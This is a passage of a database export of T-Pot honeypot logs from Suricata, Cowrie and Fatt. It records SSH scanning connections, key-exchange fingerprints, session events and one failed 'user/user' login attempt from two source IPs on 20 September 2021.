"AAADvA4U0RT8lDDtoqx5s1XrMNWbGQAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAh2FlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYywzZGVzLWNiYyxhcmNmb3VyLGFyY2ZvdXIxMjgsYXJjZm91cjI1NgAAAIdhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1jYmMsM2Rlcy1jYmMsYXJjZm91cixhcmNmb3VyMTI4LGFyY2ZvdXIyNTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAABrYhW6sb3j3QRBpM9mZ", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 64098, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:06:19.250393Z", "@timestamp": "2021-09-20T11:06:19.250Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........0...y.U.0.......curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none................n.ox.A.i3.."}}	1	\N	\N	alert	\N	\N
22166	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:19.290999+03	2021-09-20 14:15:04.580613+03	{"_id": "MgXiAnwBvYTbRNuEo_3R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1897917781259429, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47900, "dest_port": 22, "timestamp": "2021-09-20T11:06:19.290999Z", "@timestamp": "2021-09-20T11:06:19.290Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22167	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:06:19.250949+03	2021-09-20 14:15:04.582613+03	{"_id": "NwXiAnwBvYTbRNuEpP3y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "eeeee70709a2", "@version": "1", "timestamp": "2021-09-20T11:06:19.250949Z", "@timestamp": "2021-09-20T11:06:19.250Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22168	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:06:19.185666+03	2021-09-20 14:15:04.583612+03	{"_id": "OAXiAnwBvYTbRNuEpP3z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:64098 (192.168.176.2:22) [session: eeeee70709a2]", "session": "eeeee70709a2", "@version": "1", "protocol": "ssh", "src_port": 64098, "dest_port": 22, "timestamp": "2021-09-20T11:06:19.185666Z", "@timestamp": "2021-09-20T11:06:19.185Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22169	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:19.016261+03	2021-09-20 14:15:04.584613+03	{"_id": "RAXiAnwBvYTbRNuEpP32", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47900, "timestamp": "2021-09-20T11:06:19.016261", "@timestamp": "2021-09-20T11:06:19.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22170	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:19.190919+03	2021-09-20 14:15:04.585613+03	{"_id": "RQXiAnwBvYTbRNuEpP32", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 64098, "timestamp": "2021-09-20T11:06:19.190919", "@timestamp": "2021-09-20T11:06:19.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22171	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:19.291732+03	2021-09-20 14:15:04.587612+03	{"_id": "RwXiAnwBvYTbRNuEpP32", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47900, "dest_port": 22, "timestamp": "2021-09-20T11:06:19.291732", "@timestamp": "2021-09-20T11:06:19.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22172	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:19.293885+03	2021-09-20 14:15:04.588614+03	{"_id": "VAXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7d1c23bc7452", "@version": "1", "timestamp": "2021-09-20T11:06:19.293885Z", "@timestamp": "2021-09-20T11:06:19.293Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22173	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:19.401329+03	2021-09-20 14:15:04.589613+03	{"_id": "VQXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "9eeb915bdaee", "@version": "1", "duration": 3.5514585971832275, "timestamp": "2021-09-20T11:06:19.401329Z", "@timestamp": "2021-09-20T11:06:19.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22174	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:19.44592+03	2021-09-20 14:15:04.590612+03	{"_id": "VgXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3894053eb664", "@version": "1", "duration": 2.486588954925537, "timestamp": "2021-09-20T11:06:19.445920Z", "@timestamp": "2021-09-20T11:06:19.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22175	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:06:19.470728+03	2021-09-20 14:15:04.592612+03	{"_id": "VwXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "eeeee70709a2", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:06:19.470728Z", "@timestamp": "2021-09-20T11:06:19.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22176	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:06:19.188622+03	2021-09-20 14:15:04.593613+03	{"_id": "SgXiAnwBvYTbRNuEpP32", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "eeeee70709a2", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:06:19.188622Z", "@timestamp": "2021-09-20T11:06:19.188Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
